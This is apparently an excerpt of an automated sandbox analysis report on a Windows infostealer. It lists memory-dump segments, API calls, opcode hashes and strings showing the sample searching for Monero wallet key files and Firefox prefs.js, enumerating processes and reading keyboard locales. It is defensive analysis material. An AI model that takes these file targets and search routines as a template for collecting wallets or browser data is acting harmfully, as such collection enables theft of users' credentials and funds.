Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 6605d643a65a5c0c904a6aece3f6f52a1db315dd06fef9b9aac66bd995231431
Instruction ID: ec3cf2189ea9cd98ab34e6b59b6fb9199988b315b7af033067827c594654df65
Opcode Fuzzy Hash: 6605d643a65a5c0c904a6aece3f6f52a1db315dd06fef9b9aac66bd995231431
Instruction Fuzzy Hash: ED5148B2900218ABCB24FBF4DC45EEA737CFB54700F444688B659D6091EB75DB868F51

Function 0087F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008915B8,00890D96), ref: 0087F71E
StrCmpCA.SHLWAPI(?,008915BC), ref: 0087F76F
StrCmpCA.SHLWAPI(?,008915C0), ref: 0087F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0087FAB1
FindClose.KERNEL32(000000FF), ref: 0087FAC3

Strings

prefs.js, xrefs: 0087F812

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: dd46e0c0cb879bfa5003d6e6ad373fbeb5b7ec51dbf8eba548f3df26f8061a09
Instruction ID: 956096dda8c7f4d9473cc1960175862da185e7a080e1631ff83b7076cebc67da
Opcode Fuzzy Hash: dd46e0c0cb879bfa5003d6e6ad373fbeb5b7ec51dbf8eba548f3df26f8061a09
Instruction Fuzzy Hash: 27B153719001189BDB28FF68DC95AED7379FF54300F4081A9E50AD6196EF34AB49CBA3

Function 008716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0089510C,?,?,?,008951B4,?,?,00000000,?,00000000), ref: 00871923
StrCmpCA.SHLWAPI(?,0089525C), ref: 00871973
StrCmpCA.SHLWAPI(?,00895304), ref: 00871989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00871D40
DeleteFileA.KERNEL32(00000000), ref: 00871DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00871E20
FindClose.KERNEL32(000000FF), ref: 00871E32

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Strings

\*.*, xrefs: 008717F1

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 76ae7de722643f2d3bcf91323a878c613db557526780a729a994c8cf617d0abe
Instruction ID: c597f54b6a623b795efe94fafac30f90a1c7abca5dff78255ffbc9a1c4c3e82c
Opcode Fuzzy Hash: 76ae7de722643f2d3bcf91323a878c613db557526780a729a994c8cf617d0abe
Instruction Fuzzy Hash: E712C1719101189AEB1DFB64CC96AED7378FF54300F4041AAA51AE61D1EF346B89CFA3

Function 0087DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008914B0,00890C2A), ref: 0087DAEB
StrCmpCA.SHLWAPI(?,008914B4), ref: 0087DB33
StrCmpCA.SHLWAPI(?,008914B8), ref: 0087DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0087DDCC
FindClose.KERNEL32(000000FF), ref: 0087DDDE

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 2d3eb641e667881fd039ee3e9dc634aa0d5f5344e0911fe3697f9ec19cc65b23
Instruction ID: c79b14289ac14a5b8830d212a1ed966db3d77f7ddc68ba7de94723d9e9c1709a
Opcode Fuzzy Hash: 2d3eb641e667881fd039ee3e9dc634aa0d5f5344e0911fe3697f9ec19cc65b23
Instruction Fuzzy Hash: 7C91547290010497DB18FBB8DC969ED737DFF94300F408669A85AD6195EE38EB098B93

Function 00887B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

GetKeyboardLayoutList.USER32(00000000,00000000,008905AF), ref: 00887BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00887BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00887C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00887C62
LocalFree.KERNEL32(00000000), ref: 00887D22

Strings

/ , xrefs: 00887C7F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f835def071628f6ff7c74e0dff456e7fa494b0c7d6ec37eee346b0c0cd68ee28
Instruction ID: ebeec545bb2876868045ad3ca3ab524606d40e5ac3c778fcb54b56d15f21a1d6
Opcode Fuzzy Hash: f835def071628f6ff7c74e0dff456e7fa494b0c7d6ec37eee346b0c0cd68ee28
Instruction Fuzzy Hash: B4414F7194021CABDB24EB94DC99BEDB774FF54700F2041D9E409A2291DB786F86CFA2

Function 0087E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00890D73), ref: 0087E4A2
StrCmpCA.SHLWAPI(?,008914F8), ref: 0087E4F2
StrCmpCA.SHLWAPI(?,008914FC), ref: 0087E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0087EBDF

Strings

\*.*, xrefs: 0087E44D

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: ed01e9379f1ffb866faa1600c43eb7692c300cdd47d5e1ddf142bfca8dd90d73
Instruction ID: b3c4455f9fd989cc337c2e4fa7fdf77d8aa36c6a87931a620b9ff15fa03b293f
Opcode Fuzzy Hash: ed01e9379f1ffb866faa1600c43eb7692c300cdd47d5e1ddf142bfca8dd90d73
Instruction Fuzzy Hash: 1C1221719101189AEB1CFB64DD96AED7338FF54300F4041AAA51AE61D1EF386F49CBA3

Function 00889600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0088961E
Process32First.KERNEL32(00890ACA,00000128), ref: 00889632
Process32Next.KERNEL32(00890ACA,00000128), ref: 00889647
StrCmpCA.SHLWAPI(?,00000000), ref: 0088965C
CloseHandle.KERNEL32(00890ACA), ref: 0088967A

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 31d72e30bfdda2132cffdc9a57837558e05a47a886c54a16239047f64df64a1b
Instruction ID: 378de6bf548da0443cfd543698965280a8dde59899a7a4976047fbed57963faf
Opcode Fuzzy Hash: 31d72e30bfdda2132cffdc9a57837558e05a47a886c54a16239047f64df64a1b
Instruction Fuzzy Hash: 250100B5A00208ABCB14DFE5DD54BEDB7F8FB58300F144288E545D6250EB349B41DF51

Function 00888680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008905B7), ref: 008886CA
Process32First.KERNEL32(?,00000128), ref: 008886DE
Process32Next.KERNEL32(?,00000128), ref: 008886F3

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

CloseHandle.KERNEL32(?), ref: 00888761

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
